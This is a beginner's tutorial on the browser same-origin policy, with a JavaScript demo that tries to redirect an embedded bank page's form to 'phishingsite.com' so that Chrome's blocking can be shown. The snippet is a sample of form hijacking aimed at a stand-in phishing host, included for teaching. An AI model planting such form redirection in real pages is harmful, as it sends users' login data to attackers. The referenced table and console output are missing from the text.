What is Same Origin Policy : A Beginners Guide To SOP

The same-origin policy is an important concept in the web application security model. The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. In this policy a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin. It is a critical security mechanism for isolating potentially malicious documents.

For an example of Same Origin Policy assume that you are logged into the Gmail server and visit a malicious website in the same browser, but another tab. Without implementing the same origin policy, an attacker can access your mail and other sensitive information using JavaScript. For example read private mail, send fake mail, read your chats. Also, Gmail uses JavaScript to enhance the user experience and save round trip bandwidth, so it is really so important that the browser can detect that this JavaScript is trusted to access Gmail resources. That’s where the same origin policy comes into the picture. Now imagine the same scenario and replace Gmail with your online banking application – it could be worse.

The Origin is considered on the basis of protocol, port number, and, more importantly, the hostname of the web page. Two resources are considered to be of the same origin if and only if all these values are exactly the same. And Note that the path of the page does not matter as long as the rest of the mentioned things are satisfied. Also the same-origin policy is not only for JS but for cookies, AJAX, Flash, and so on. Data stored inside localStorage is also governed by this policy, that is, origin-separated. To illustrate further,  the below table gives an overview of typical outcomes for check against the URL : http://www.example.com/page/index.html


Unlike other browsers, Internet Explorer does not include the port in the calculation of the origin, using the Security Zone in its place. Internet Explorer has two major exceptions when it comes to same origin policy
  • The first one is if both domains are in highly trusted zone e.g, corporate domains, then the same origin limitations are not applied.
  • The second exception is IE doesn't include port into Same Origin components, therefore http://www.example.com/page/index.html and http://www.example.com:8080/page/index.html are considered from the same origin and no restrictions are applied.

Now lets see a demonstration of the same-origin policy in Google Chrome browser :

In below given code, the javascript part of the code will try to modify the iframe action to redirect it to phishersite.com by changing the form's action property (the destination).
 <!DOCTYPE html>
 <html>
 <head>
  <meta charset="utf-8">
  <title>SOP Demo</title>
 </head>

 <body>
 <iframe id="sop_demo" src="http://nationalbank"></iframe>
 <script>
  window.onload = function() {
   try {
    document.getElementById('sop_demo').contentWindow.document.forms[0].action = 'http://phishingsite.com';
   } catch(e) {
    console.log(e);
   }
  }
 </script>
 </body>
 </html>

Now copy the above code and save it to sop_demo.html and open it on the chrome browser, then right click on the page, and click on the Inspect, go to Console tab and then refresh the page.



As soon as this code runs inside the Chrome browser, it throws the following message in the console.log() output:


At above Chrome browser detected that there is a violation of Same Origin Policy by page, because the javascript of the page will try to access the data of different domain.



 Also Read About : Cross-Origin-Resource-Sharing here